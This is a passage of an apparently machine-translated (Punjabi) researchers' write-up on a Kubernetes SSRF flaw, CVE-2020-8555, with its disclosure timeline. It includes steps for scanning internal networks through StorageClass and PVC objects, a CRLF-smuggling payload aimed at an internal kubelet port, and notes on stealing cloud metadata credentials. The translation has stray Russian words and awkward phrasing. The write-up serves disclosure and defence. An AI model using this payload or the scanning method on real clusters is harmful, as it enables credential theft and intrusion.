• ਆਊਟਗੋਇੰਗ ਬੇਨਤੀ ਵਿੱਚ HTTP ਸਿਰਲੇਖ ਸ਼ਾਮਲ ਕਰਨ ਵਿੱਚ ਅਸਮਰੱਥਾ।
• ਸਰੀਰ ਵਿੱਚ ਪੈਰਾਮੀਟਰਾਂ ਦੇ ਨਾਲ ਇੱਕ POST ਬੇਨਤੀ ਕਰਨ ਵਿੱਚ ਅਸਮਰੱਥਾ (ਇਹ ਚੱਲ ਰਹੇ etcd ਉਦਾਹਰਣ ਤੋਂ ਮੁੱਖ ਮੁੱਲ ਦੀ ਬੇਨਤੀ ਕਰਨ ਲਈ ਸੁਵਿਧਾਜਨਕ ਹੈ 2379 ਪੋਰਟ ਜੇਕਰ ਅਣ-ਇਨਕ੍ਰਿਪਟਡ HTTP ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ)।
• ਜਦੋਂ ਸਥਿਤੀ ਕੋਡ 200 ਸੀ ਅਤੇ ਜਵਾਬ ਵਿੱਚ JSON ਸਮੱਗਰੀ-ਕਿਸਮ ਨਹੀਂ ਸੀ ਤਾਂ ਜਵਾਬ ਦੇ ਭਾਗ ਸਮੱਗਰੀ ਨੂੰ ਮੁੜ ਪ੍ਰਾਪਤ ਕਰਨ ਵਿੱਚ ਅਸਮਰੱਥਾ।

ਉੱਨਤ ਦ੍ਰਿਸ਼ #2: ਸਥਾਨਕ ਨੈੱਟਵਰਕ ਨੂੰ ਸਕੈਨ ਕਰਨਾ

ਇਹ ਅੱਧ-ਅੰਨ੍ਹਾ SSRF ਵਿਧੀ ਫਿਰ ਕਲਾਉਡ ਪ੍ਰਦਾਤਾ ਦੇ ਅੰਦਰੂਨੀ ਨੈੱਟਵਰਕ ਨੂੰ ਸਕੈਨ ਕਰਨ ਅਤੇ ਜਵਾਬਾਂ ਦੇ ਆਧਾਰ 'ਤੇ ਵੱਖ-ਵੱਖ ਸੁਣਨ ਦੀਆਂ ਸੇਵਾਵਾਂ (ਮੈਟਾਡੇਟਾ ਉਦਾਹਰਣ, ਕੁਬੇਲੇਟ, ਆਦਿ, ਆਦਿ) ਨੂੰ ਪੋਲ ਕਰਨ ਲਈ ਵਰਤੀ ਗਈ ਸੀ। kube ਕੰਟਰੋਲਰ.

ਪਹਿਲਾਂ, ਕੁਬਰਨੇਟਸ ਕੰਪੋਨੈਂਟਸ ਦੇ ਸਟੈਂਡਰਡ ਲਿਸਨਿੰਗ ਪੋਰਟਾਂ ਨੂੰ ਨਿਰਧਾਰਤ ਕੀਤਾ ਗਿਆ ਸੀ (8443, 10250, 10251, ਆਦਿ), ਅਤੇ ਫਿਰ ਸਾਨੂੰ ਸਕੈਨਿੰਗ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਸਵੈਚਲਿਤ ਕਰਨਾ ਪਿਆ।

ਇਹ ਦੇਖਦੇ ਹੋਏ ਕਿ ਸਰੋਤਾਂ ਨੂੰ ਸਕੈਨ ਕਰਨ ਦਾ ਇਹ ਤਰੀਕਾ ਬਹੁਤ ਖਾਸ ਹੈ ਅਤੇ ਇਹ ਕਲਾਸਿਕ ਸਕੈਨਰਾਂ ਅਤੇ SSRF ਟੂਲਸ ਦੇ ਅਨੁਕੂਲ ਨਹੀਂ ਹੈ, ਅਸੀਂ ਆਪਣੇ ਖੁਦ ਦੇ ਵਰਕਰਾਂ ਨੂੰ ਇੱਕ ਬੈਸ਼ ਸਕ੍ਰਿਪਟ ਵਿੱਚ ਬਣਾਉਣ ਦਾ ਫੈਸਲਾ ਕੀਤਾ ਹੈ ਜੋ ਪੂਰੀ ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਸਵੈਚਲਿਤ ਕਰਦਾ ਹੈ।

ਉਦਾਹਰਨ ਲਈ, ਅੰਦਰੂਨੀ ਨੈੱਟਵਰਕ ਦੀ ਰੇਂਜ 172.16.0.0/12 ਨੂੰ ਤੇਜ਼ੀ ਨਾਲ ਸਕੈਨ ਕਰਨ ਲਈ, 15 ਕਰਮਚਾਰੀਆਂ ਨੂੰ ਸਮਾਨਾਂਤਰ ਵਿੱਚ ਲਾਂਚ ਕੀਤਾ ਗਿਆ ਸੀ। ਉਪਰੋਕਤ ਆਈਪੀ ਰੇਂਜ ਨੂੰ ਸਿਰਫ਼ ਇੱਕ ਉਦਾਹਰਨ ਵਜੋਂ ਚੁਣਿਆ ਗਿਆ ਹੈ ਅਤੇ ਤੁਹਾਡੇ ਖਾਸ ਸੇਵਾ ਪ੍ਰਦਾਤਾ ਦੀ IP ਰੇਂਜ ਵਿੱਚ ਬਦਲਿਆ ਜਾ ਸਕਦਾ ਹੈ।

ਇੱਕ IP ਐਡਰੈੱਸ ਅਤੇ ਇੱਕ ਪੋਰਟ ਨੂੰ ਸਕੈਨ ਕਰਨ ਲਈ, ਤੁਹਾਨੂੰ ਇਹ ਕਰਨ ਦੀ ਲੋੜ ਹੈ:

• ਆਖਰੀ ਜਾਂਚ ਕੀਤੀ ਸਟੋਰੇਜ ਕਲਾਸ ਨੂੰ ਮਿਟਾਓ;
• ਪਿਛਲੇ ਪ੍ਰਮਾਣਿਤ ਪਰਸਿਸਟੈਂਟ ਵਾਲੀਅਮ ਕਲੇਮ ਨੂੰ ਹਟਾਓ;
• ਵਿੱਚ IP ਅਤੇ ਪੋਰਟ ਮੁੱਲ ਬਦਲੋ sc.yaml;
• ਇੱਕ ਨਵੇਂ ਆਈਪੀ ਅਤੇ ਪੋਰਟ ਨਾਲ ਸਟੋਰੇਜ ਕਲਾਸ ਬਣਾਓ;
• ਇੱਕ ਨਵਾਂ ਪੀਵੀਸੀ ਬਣਾਓ;
• PVC ਲਈ ਵਰਣਨ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸਕੈਨ ਨਤੀਜੇ ਕੱਢੋ।

ਉੱਨਤ ਦ੍ਰਿਸ਼ #3: ਕੁਬਰਨੇਟਸ ਕਲੱਸਟਰ ਦੇ "ਪੁਰਾਣੇ" ਸੰਸਕਰਣਾਂ ਵਿੱਚ ਸੀਆਰਐਲਐਫ ਇੰਜੈਕਸ਼ਨ + ਤਸਕਰੀ HTTP

ਜੇਕਰ ਇਸ ਤੋਂ ਇਲਾਵਾ ਪ੍ਰਦਾਤਾ ਗਾਹਕਾਂ ਨੂੰ K8s ਕਲੱਸਟਰ ਦੇ ਪੁਰਾਣੇ ਸੰਸਕਰਣਾਂ ਦੀ ਪੇਸ਼ਕਸ਼ ਕਰਦਾ ਹੈ и ਨੇ ਉਹਨਾਂ ਨੂੰ kube-controller-manager ਦੇ ਲਾਗਾਂ ਤੱਕ ਪਹੁੰਚ ਦਿੱਤੀ, ਪ੍ਰਭਾਵ ਹੋਰ ਵੀ ਮਹੱਤਵਪੂਰਨ ਹੋ ਗਿਆ।

ਇਹ ਅਸਲ ਵਿੱਚ ਇੱਕ ਹਮਲਾਵਰ ਲਈ HTTP ਬੇਨਤੀਆਂ ਨੂੰ ਬਦਲਣਾ ਬਹੁਤ ਜ਼ਿਆਦਾ ਸੁਵਿਧਾਜਨਕ ਹੈ ਜੋ ਉਸਦੇ ਵਿਵੇਕ 'ਤੇ ਇੱਕ ਪੂਰਾ HTTP ਜਵਾਬ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ।

ਆਖਰੀ ਦ੍ਰਿਸ਼ ਨੂੰ ਲਾਗੂ ਕਰਨ ਲਈ, ਹੇਠ ਲਿਖੀਆਂ ਸ਼ਰਤਾਂ ਪੂਰੀਆਂ ਕਰਨੀਆਂ ਪੈਣਗੀਆਂ:

• ਉਪਭੋਗਤਾ ਕੋਲ kube-controller-manager ਲੌਗਸ ਤੱਕ ਪਹੁੰਚ ਹੋਣੀ ਚਾਹੀਦੀ ਹੈ (ਜਿਵੇਂ ਕਿ, Azure LogInsights ਵਿੱਚ)।
• ਕੁਬਰਨੇਟਸ ਕਲੱਸਟਰ ਨੂੰ 1.12 ਤੋਂ ਘੱਟ ਗੋਲੰਗ ਦਾ ਵਰਜਨ ਵਰਤਣਾ ਚਾਹੀਦਾ ਹੈ।

ਅਸੀਂ ਇੱਕ ਸਥਾਨਕ ਵਾਤਾਵਰਣ ਤੈਨਾਤ ਕੀਤਾ ਹੈ ਜੋ GlusterFS Go ਕਲਾਇੰਟ ਅਤੇ ਇੱਕ ਨਕਲੀ ਟਾਰਗੇਟ ਸਰਵਰ (ਅਸੀਂ ਫਿਲਹਾਲ PoC ਪ੍ਰਕਾਸ਼ਿਤ ਕਰਨ ਤੋਂ ਪਰਹੇਜ਼ ਕਰਾਂਗੇ) ਵਿਚਕਾਰ ਸੰਚਾਰ ਦੀ ਨਕਲ ਕਰਦਾ ਹੈ।

ਪਾਇਆ ਗਿਆ ਸੀ ਕਮਜ਼ੋਰੀ, 1.12 ਤੋਂ ਘੱਟ ਗੋਲੰਗ ਸੰਸਕਰਣਾਂ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕਰਦਾ ਹੈ ਅਤੇ ਹੈਕਰਾਂ ਨੂੰ HTTP ਤਸਕਰੀ/CRLF ਹਮਲੇ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ।

ਉੱਪਰ ਦੱਸੇ ਗਏ ਅੱਧੇ-ਅੰਨ੍ਹੇ SSRF ਨੂੰ ਜੋੜ ਕੇ вместе ਇਸਦੇ ਨਾਲ, ਅਸੀਂ ਆਪਣੀ ਪਸੰਦ ਅਨੁਸਾਰ ਬੇਨਤੀਆਂ ਭੇਜਣ ਦੇ ਯੋਗ ਹੋ ਗਏ, ਜਿਸ ਵਿੱਚ ਸਿਰਲੇਖ, HTTP ਵਿਧੀ, ਪੈਰਾਮੀਟਰ ਅਤੇ ਡੇਟਾ ਨੂੰ ਬਦਲਣਾ ਸ਼ਾਮਲ ਹੈ, ਜੋ ਕਿ kube-controller-manager ਦੁਆਰਾ ਪ੍ਰਕਿਰਿਆ ਕੀਤੀ ਗਈ ਸੀ।

ਇੱਥੇ ਇੱਕ ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਕੰਮ ਕਰਨ ਵਾਲੇ "ਦਾਣਾ" ਦੀ ਇੱਕ ਉਦਾਹਰਨ ਹੈ resturl ਸਟੋਰੇਜ ਕਲਾਸ, ਜੋ ਕਿ ਇੱਕ ਸਮਾਨ ਹਮਲੇ ਦੇ ਦ੍ਰਿਸ਼ ਨੂੰ ਲਾਗੂ ਕਰਦਾ ਹੈ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ਨਤੀਜਾ ਇੱਕ ਗਲਤੀ ਹੈ ਅਣਚਾਹੇ ਜਵਾਬ, ਇੱਕ ਸੁਨੇਹਾ ਜਿਸ ਬਾਰੇ ਕੰਟਰੋਲਰ ਲੌਗਸ ਵਿੱਚ ਰਿਕਾਰਡ ਕੀਤਾ ਗਿਆ ਹੈ। ਮੂਲ ਰੂਪ ਵਿੱਚ ਵਰਬੋਸਿਟੀ ਸਮਰਥਿਤ ਹੋਣ ਲਈ ਧੰਨਵਾਦ, HTTP ਜਵਾਬ ਸੰਦੇਸ਼ ਦੀ ਸਮੱਗਰੀ ਵੀ ਉੱਥੇ ਸੁਰੱਖਿਅਤ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।

ਸੰਕਲਪ ਦੇ ਸਬੂਤ ਦੇ ਢਾਂਚੇ ਦੇ ਅੰਦਰ ਇਹ ਸਾਡਾ ਸਭ ਤੋਂ ਪ੍ਰਭਾਵਸ਼ਾਲੀ "ਦਾਣਾ" ਸੀ।

ਇਸ ਪਹੁੰਚ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ, ਅਸੀਂ ਵੱਖ-ਵੱਖ ਪ੍ਰਬੰਧਿਤ k8s ਪ੍ਰਦਾਤਾਵਾਂ ਦੇ ਕਲੱਸਟਰਾਂ 'ਤੇ ਹੇਠਾਂ ਦਿੱਤੇ ਕੁਝ ਹਮਲਿਆਂ ਨੂੰ ਅੰਜਾਮ ਦੇਣ ਦੇ ਯੋਗ ਸੀ: ਮੈਟਾਡੇਟਾ ਮੌਕਿਆਂ 'ਤੇ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੇ ਨਾਲ ਵਿਸ਼ੇਸ਼ ਅਧਿਕਾਰ ਵਾਧਾ, etcd ਮਾਸਟਰ ਉਦਾਹਰਨਾਂ 'ਤੇ (ਅਨਇਨਕ੍ਰਿਪਟਡ) HTTP ਬੇਨਤੀਆਂ, ਆਦਿ।

ਨਤੀਜੇ

ਕੁਬਰਨੇਟਸ ਦੇ ਅਧਿਕਾਰਤ ਬਿਆਨ ਵਿੱਚ ਐਸਐਸਆਰਐਫ ਦੀ ਕਮਜ਼ੋਰੀ ਬਾਰੇ ਜੋ ਅਸੀਂ ਖੋਜਿਆ ਹੈ, ਇਸ ਨੂੰ ਦਰਜਾ ਦਿੱਤਾ ਗਿਆ ਸੀ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N ਜੇਕਰ ਅਸੀਂ ਕੁਬਰਨੇਟਸ ਪਰੀਮੀਟਰ, ਅਖੰਡਤਾ ਵੈਕਟਰ ਨਾਲ ਸਬੰਧਿਤ ਸਿਰਫ ਕਮਜ਼ੋਰੀ 'ਤੇ ਵਿਚਾਰ ਕਰਦੇ ਹਾਂ (ਇਕਸਾਰਤਾ ਵੈਕਟਰ) ਇਸ ਦੇ ਤੌਰ 'ਤੇ ਯੋਗ ਹੈ ਕੋਈ.

ਹਾਲਾਂਕਿ, ਇੱਕ ਪ੍ਰਬੰਧਿਤ ਸੇਵਾ ਵਾਤਾਵਰਣ ਦੇ ਸੰਦਰਭ ਵਿੱਚ ਸੰਭਾਵਿਤ ਨਤੀਜਿਆਂ ਦਾ ਮੁਲਾਂਕਣ ਕਰਨਾ (ਅਤੇ ਇਹ ਸਾਡੀ ਖੋਜ ਦਾ ਸਭ ਤੋਂ ਦਿਲਚਸਪ ਹਿੱਸਾ ਸੀ!) ਨੇ ਸਾਨੂੰ ਇੱਕ ਰੇਟਿੰਗ ਵਿੱਚ ਕਮਜ਼ੋਰੀ ਨੂੰ ਮੁੜ ਵਰਗੀਕਰਨ ਕਰਨ ਲਈ ਪ੍ਰੇਰਿਤ ਕੀਤਾ। ਨਾਜ਼ੁਕ CVSS10/10 ਬਹੁਤ ਸਾਰੇ ਵਿਤਰਕਾਂ ਲਈ.

ਕਲਾਉਡ ਵਾਤਾਵਰਨ ਵਿੱਚ ਸੰਭਾਵੀ ਪ੍ਰਭਾਵਾਂ ਦਾ ਮੁਲਾਂਕਣ ਕਰਦੇ ਸਮੇਂ ਸਾਡੇ ਵਿਚਾਰਾਂ ਨੂੰ ਸਮਝਣ ਵਿੱਚ ਤੁਹਾਡੀ ਮਦਦ ਕਰਨ ਲਈ ਹੇਠਾਂ ਵਾਧੂ ਜਾਣਕਾਰੀ ਹੈ:

ਇਮਾਨਦਾਰੀ

• ਐਕੁਆਇਰ ਕੀਤੇ ਅੰਦਰੂਨੀ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਰਿਮੋਟਲੀ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਓ।
• ਸਥਾਨਕ ਨੈੱਟਵਰਕ 'ਤੇ ਪਾਏ ਜਾਣ ਵਾਲੇ ਹੋਰ ਸਰੋਤਾਂ ਦੇ ਨਾਲ IDOR (ਅਸੁਰੱਖਿਅਤ ਡਾਇਰੈਕਟ ਆਬਜੈਕਟ ਰੈਫਰੈਂਸ) ਵਿਧੀ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਉਪਰੋਕਤ ਦ੍ਰਿਸ਼ ਨੂੰ ਦੁਬਾਰਾ ਤਿਆਰ ਕਰਨਾ।

ਗੁਪਤਤਾ

• ਹਮਲੇ ਦੀ ਕਿਸਮ ਪਾਰਦਰਸ਼ੀ ਲਹਿਰ ਕਲਾਉਡ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੀ ਚੋਰੀ ਲਈ ਧੰਨਵਾਦ (ਉਦਾਹਰਨ ਲਈ, ਮੈਟਾਡੇਟਾ API)।
• ਸਥਾਨਕ ਨੈੱਟਵਰਕ ਨੂੰ ਸਕੈਨ ਕਰਕੇ ਜਾਣਕਾਰੀ ਇਕੱਠੀ ਕਰਨਾ (SSH ਸੰਸਕਰਣ, HTTP ਸਰਵਰ ਸੰਸਕਰਣ, ...) ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਨਾ।
• ਪੋਲਿੰਗ ਅੰਦਰੂਨੀ API ਜਿਵੇਂ ਕਿ ਮੈਟਾਡੇਟਾ API (http://169.254.169.254,…).
• ਕਲਾਉਡ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਗਾਹਕ ਡੇਟਾ ਚੋਰੀ ਕਰਨਾ।

ਉਪਲਬਧਤਾ

'ਤੇ ਹਮਲਾ ਵੈਕਟਰ ਨਾਲ ਸਬੰਧਤ ਸਾਰੇ ਸ਼ੋਸ਼ਣ ਦ੍ਰਿਸ਼ ਇਮਾਨਦਾਰੀ, ਨੂੰ ਵਿਨਾਸ਼ਕਾਰੀ ਕਾਰਵਾਈਆਂ ਲਈ ਵਰਤਿਆ ਜਾ ਸਕਦਾ ਹੈ ਅਤੇ ਕਲਾਇੰਟ ਪੈਰੀਮੀਟਰ (ਜਾਂ ਕੋਈ ਹੋਰ) ਅਣਉਪਲਬਧ ਹੋਣ ਤੋਂ ਮਾਸਟਰ ਉਦਾਹਰਨਾਂ ਵੱਲ ਲੈ ਜਾਂਦਾ ਹੈ।

ਕਿਉਂਕਿ ਅਸੀਂ ਇੱਕ ਪ੍ਰਬੰਧਿਤ K8s ਵਾਤਾਵਰਣ ਵਿੱਚ ਸੀ ਅਤੇ ਅਖੰਡਤਾ 'ਤੇ ਪ੍ਰਭਾਵ ਦਾ ਮੁਲਾਂਕਣ ਕਰ ਰਹੇ ਸੀ, ਅਸੀਂ ਬਹੁਤ ਸਾਰੇ ਦ੍ਰਿਸ਼ਾਂ ਦੀ ਕਲਪਨਾ ਕਰ ਸਕਦੇ ਹਾਂ ਜੋ ਉਪਲਬਧਤਾ ਨੂੰ ਪ੍ਰਭਾਵਤ ਕਰ ਸਕਦੇ ਹਨ। ਵਧੀਕ ਉਦਾਹਰਨਾਂ ਵਿੱਚ etcd ਡੇਟਾਬੇਸ ਨੂੰ ਖਰਾਬ ਕਰਨਾ ਜਾਂ Kubernetes API ਨੂੰ ਇੱਕ ਨਾਜ਼ੁਕ ਕਾਲ ਕਰਨਾ ਸ਼ਾਮਲ ਹੈ।

ਇਤਿਹਾਸ

• ਦਸੰਬਰ 6, 2019: MSRC ਬੱਗ ਬਾਊਂਟੀ ਨੂੰ ਕਮਜ਼ੋਰੀ ਦੀ ਰਿਪੋਰਟ ਕੀਤੀ ਗਈ।
• 3 ਜਨਵਰੀ, 2020: ਕਿਸੇ ਤੀਜੀ ਧਿਰ ਨੇ ਕੁਬਰਨੇਟਸ ਡਿਵੈਲਪਰਾਂ ਨੂੰ ਸੂਚਿਤ ਕੀਤਾ ਕਿ ਅਸੀਂ ਸੁਰੱਖਿਆ ਮੁੱਦੇ 'ਤੇ ਕੰਮ ਕਰ ਰਹੇ ਹਾਂ। ਅਤੇ ਉਹਨਾਂ ਨੂੰ SSRF ਨੂੰ ਅੰਦਰੂਨੀ (ਇਨ-ਕੋਰ) ਕਮਜ਼ੋਰੀ ਵਜੋਂ ਵਿਚਾਰਨ ਲਈ ਕਿਹਾ। ਅਸੀਂ ਫਿਰ ਸਮੱਸਿਆ ਦੇ ਸਰੋਤ ਬਾਰੇ ਤਕਨੀਕੀ ਵੇਰਵਿਆਂ ਦੇ ਨਾਲ ਇੱਕ ਆਮ ਰਿਪੋਰਟ ਪ੍ਰਦਾਨ ਕੀਤੀ।
• ਜਨਵਰੀ 15, 2020: ਅਸੀਂ Kubernetes ਡਿਵੈਲਪਰਾਂ ਨੂੰ ਉਹਨਾਂ ਦੀ ਬੇਨਤੀ 'ਤੇ (HackerOne ਪਲੇਟਫਾਰਮ ਰਾਹੀਂ) ਤਕਨੀਕੀ ਅਤੇ ਆਮ ਰਿਪੋਰਟਾਂ ਪ੍ਰਦਾਨ ਕੀਤੀਆਂ।
• ਜਨਵਰੀ 15, 2020: Kubernetes ਡਿਵੈਲਪਰਾਂ ਨੇ ਸਾਨੂੰ ਸੂਚਿਤ ਕੀਤਾ ਕਿ ਪਿਛਲੀਆਂ ਰੀਲੀਜ਼ਾਂ ਲਈ ਅੱਧੇ-ਅੰਨ੍ਹੇ SSRF + CRLF ਇੰਜੈਕਸ਼ਨ ਨੂੰ ਇੱਕ ਅੰਦਰੂਨੀ ਕਮਜ਼ੋਰੀ ਮੰਨਿਆ ਜਾਂਦਾ ਹੈ। ਅਸੀਂ ਤੁਰੰਤ ਦੂਜੇ ਸੇਵਾ ਪ੍ਰਦਾਤਾਵਾਂ ਦੇ ਘੇਰੇ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨਾ ਬੰਦ ਕਰ ਦਿੱਤਾ: K8s ਟੀਮ ਹੁਣ ਮੂਲ ਕਾਰਨ ਨਾਲ ਨਜਿੱਠ ਰਹੀ ਸੀ।
• ਜਨਵਰੀ 15, 2020: MSRC ਇਨਾਮ ਹੈਕਰਓਨ ਦੁਆਰਾ ਪ੍ਰਾਪਤ ਕੀਤਾ ਗਿਆ।
• 16 ਜਨਵਰੀ, 2020: ਕੁਬਰਨੇਟਸ PSC (ਉਤਪਾਦ ਸੁਰੱਖਿਆ ਕਮੇਟੀ) ਨੇ ਕਮਜ਼ੋਰੀ ਨੂੰ ਮਾਨਤਾ ਦਿੱਤੀ ਅਤੇ ਸੰਭਾਵਿਤ ਪੀੜਤਾਂ ਦੀ ਵੱਡੀ ਗਿਣਤੀ ਦੇ ਕਾਰਨ ਇਸ ਨੂੰ ਮਾਰਚ ਦੇ ਅੱਧ ਤੱਕ ਗੁਪਤ ਰੱਖਣ ਲਈ ਕਿਹਾ।
• ਫਰਵਰੀ 11, 2020: Google VRP ਇਨਾਮ ਪ੍ਰਾਪਤ ਹੋਇਆ।
• 4 ਮਾਰਚ, 2020: ਹੈਕਰਓਨ ਰਾਹੀਂ ਕੁਬਰਨੇਟਸ ਇਨਾਮ ਪ੍ਰਾਪਤ ਹੋਇਆ।
• 15 ਮਾਰਚ, 2020: ਕੋਵਿਡ-19 ਸਥਿਤੀ ਦੇ ਕਾਰਨ ਮੂਲ ਰੂਪ ਵਿੱਚ ਨਿਯਤ ਜਨਤਕ ਖੁਲਾਸਾ ਮੁਲਤਵੀ ਕਰ ਦਿੱਤਾ ਗਿਆ।
• ਜੂਨ 1, 2020: ਕੁਬਰਨੇਟਸ + ਮਾਈਕ੍ਰੋਸਾੱਫਟ ਕਮਜ਼ੋਰੀ ਬਾਰੇ ਸਾਂਝਾ ਬਿਆਨ।

TL; ਡਾ

• ਅਸੀਂ ਬੀਅਰ ਪੀਂਦੇ ਹਾਂ ਅਤੇ ਪੀਜ਼ਾ ਖਾਂਦੇ ਹਾਂ :)
• ਸਾਨੂੰ ਕੁਬਰਨੇਟਸ ਵਿੱਚ ਇੱਕ ਅੰਦਰੂਨੀ ਕਮਜ਼ੋਰੀ ਦਾ ਪਤਾ ਲੱਗਾ, ਹਾਲਾਂਕਿ ਸਾਡਾ ਅਜਿਹਾ ਕਰਨ ਦਾ ਕੋਈ ਇਰਾਦਾ ਨਹੀਂ ਸੀ।
• ਅਸੀਂ ਵੱਖ-ਵੱਖ ਕਲਾਉਡ ਪ੍ਰਦਾਤਾਵਾਂ ਦੇ ਕਲੱਸਟਰਾਂ 'ਤੇ ਵਾਧੂ ਵਿਸ਼ਲੇਸ਼ਣ ਕੀਤੇ ਅਤੇ ਵਾਧੂ ਸ਼ਾਨਦਾਰ ਬੋਨਸ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਕਮਜ਼ੋਰੀ ਕਾਰਨ ਹੋਏ ਨੁਕਸਾਨ ਨੂੰ ਵਧਾਉਣ ਦੇ ਯੋਗ ਹੋਏ।
• ਤੁਹਾਨੂੰ ਇਸ ਲੇਖ ਵਿੱਚ ਬਹੁਤ ਸਾਰੇ ਤਕਨੀਕੀ ਵੇਰਵੇ ਮਿਲਣਗੇ। ਸਾਨੂੰ ਤੁਹਾਡੇ ਨਾਲ ਉਹਨਾਂ ਬਾਰੇ ਚਰਚਾ ਕਰਨ ਵਿੱਚ ਖੁਸ਼ੀ ਹੋਵੇਗੀ (ਟਵਿੱਟਰ: @ ਰੀਵਰਜ਼ੈਕਸ & @__hach_).
• ਇਹ ਪਤਾ ਚਲਿਆ ਕਿ ਸਾਰੀਆਂ ਕਿਸਮਾਂ ਦੀਆਂ ਰਸਮਾਂ ਅਤੇ ਰਿਪੋਰਟਿੰਗ ਵਿੱਚ ਉਮੀਦ ਨਾਲੋਂ ਬਹੁਤ ਜ਼ਿਆਦਾ ਸਮਾਂ ਲੱਗਿਆ।

ਹਵਾਲੇ

• ਗੂਗਲ ਗਰੁੱਪ ਕੁਬਰਨੇਟਸ-ਸੁਰੱਖਿਆ-ਐਲਾਨ;
• CVE-2020-8555;
• ਗੋਲੰਗ ਮੁੱਦਾ #30794;
• heketi/client/api/go-client/volume.go.

ਅਨੁਵਾਦਕ ਤੋਂ ਪੀ.ਐਸ

ਸਾਡੇ ਬਲੌਗ 'ਤੇ ਵੀ ਪੜ੍ਹੋ:

• «ਕੁਬਰਨੇਟਸ ਬੱਗ ਹੰਟ ਅਧਿਕਾਰਤ ਤੌਰ 'ਤੇ ਖੁੱਲ੍ਹਾ ਹੈ";
• «ਲੌਗ ਮਾਊਂਟ ਕਰਕੇ ਕੁਬਰਨੇਟਸ ਵਿੱਚ ਇੱਕ ਪੌਡ ਤੋਂ ਬਾਹਰ ਨਿਕਲਣਾ";
• «33+ ਕੁਬਰਨੇਟਸ ਸੁਰੱਖਿਆ ਟੂਲ".

ਸਰੋਤ: www.habr.com